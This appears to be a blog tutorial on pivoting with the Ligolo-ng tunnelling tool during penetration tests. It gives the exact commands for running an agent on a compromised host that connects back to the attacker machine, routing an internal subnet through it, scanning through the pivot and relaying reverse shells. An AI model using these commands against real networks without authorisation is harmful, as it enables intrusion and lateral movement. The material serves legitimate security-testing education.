When it comes to network pivoting during penetration testing or red team engagements, the industry standard has long been SSH port forwarding combined with proxychains, or tools like Chisel. While these tools are reliable, they are often slow, clunky, and notoriously unstable when routing massive nmap scans.
Enter Ligolo-ng: an advanced, yet beautifully simple, tunneling tool that completely eliminates the need for SOCKS proxies. Instead, Ligolo-ng creates a virtual userland TUN interface on your attack machine, allowing you to route traffic through a compromised host natively.
In this deep dive, we will explore exactly how Ligolo-ng works under the hood, how to install it, and step-by-step usage scenarios for your next engagement.
Why Ligolo-ng is a Game Changer
Traditional pivoting tools wrap your network requests in a SOCKS proxy protocol. This introduces significant overhead and breaks tools that require raw sockets (like nmap SYN scans).
Ligolo-ng solves this by leveraging a TUN interface and a user-mode network stack based on Google's gVisor.
Key Advantages:
- No Proxychains Required: Because your attacker machine natively understands the route to the internal network via the TUN interface, you can run tools like
nmap,netexec, andsmbclientdirectly from your terminal. - Speed and Stability: The
gVisornetwork stack is incredibly efficient. You can run full port scans through the tunnel without dropping packets or crashing the agent. - Low Privilege Execution: Establishing the tunnel does not require root or administrative privileges on the target (agent) machine.
Step 1: Setting up the Proxy Server (Attacker Machine)
Ligolo-ng operates on a Client/Server architecture, but the naming convention is slightly different. The "Proxy" runs on your attacker machine, and the "Agent" runs on the compromised target.
First, you need to create the virtual TUN interface on your Kali/Parrot machine:
# Add a new TUN interface assigned to your user sudo ip tuntap add user kali mode tun ligolo # Bring the interface up sudo ip link set ligolo up
Next, download the proxy binary from the Ligolo-ng GitHub releases and start it. For ease of use during internal engagements, we will use the -selfcert flag to automatically generate a TLS certificate:
./proxy -selfcert
Your proxy is now actively listening on port 11601 by default, waiting for agents to connect.
Step 2: Deploying the Agent (Target Machine)
Assume you have gained initial execution on a web server acting as a DMZ edge node. You want to pivot from this web server into the internal corporate network (e.g., 10.10.10.0/24).
Transfer the agent binary (compiled for the target's OS/Architecture) to the compromised machine. Execute it with the IP address of your attacker machine:
./agent -connect 192.168.1.100:11601 -ignore-cert
Note: The -ignore-cert flag is required because we used a self-signed certificate on the proxy.
Step 3: Establishing the Tunnel and Routing
Once the agent executes, you will see a notification in your proxy terminal indicating a new connection.
Interact with the Ligolo-ng interface:
ligolo-ng » session ? Specify a session: 1 - WIN-SERVER-01 - 10.10.10.5
Now that you are inside the session, simply type start to initialize the tunnel:
[Agent : WIN-SERVER-01] » start [INFO] Starting tunnel...
The final step is to tell your attacker machine to route all traffic destined for 10.10.10.0/24 through the ligolo interface. Open a new terminal window on your attacker machine and run:
sudo ip route add 10.10.10.0/24 dev ligolo
You are Connected!
You are now natively routed into the internal network. You can ping internal IPs, run nmap, or access internal web portals directly from your browser as if you were physically plugged into the switch.
# Run a blazing fast native nmap scan through the pivot nmap -sT -p 445,3389,80 10.10.10.15
Advanced Features: Reverse Port Forwarding
Ligolo-ng also handles reverse port forwarding elegantly. If you need to catch a reverse shell from a machine deep inside the network that cannot route back to your attacker IP, you can use the agent as a relay.
Inside the Ligolo-ng session:
[Agent : WIN-SERVER-01] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
This tells the agent to listen on port 4444 on the compromised machine and forward all connections back through the tunnel to port 4444 on your attacker machine.
Conclusion
Ligolo-ng has rapidly become a staple tool for modern red teamers. By abstracting away the complexities of SOCKS proxies and providing a native routing experience, it drastically reduces the friction of lateral movement.
For more advanced configurations, including Let's Encrypt integration and multi-hop pivoting, check out the official Ligolo-ng Repository on GitHub.
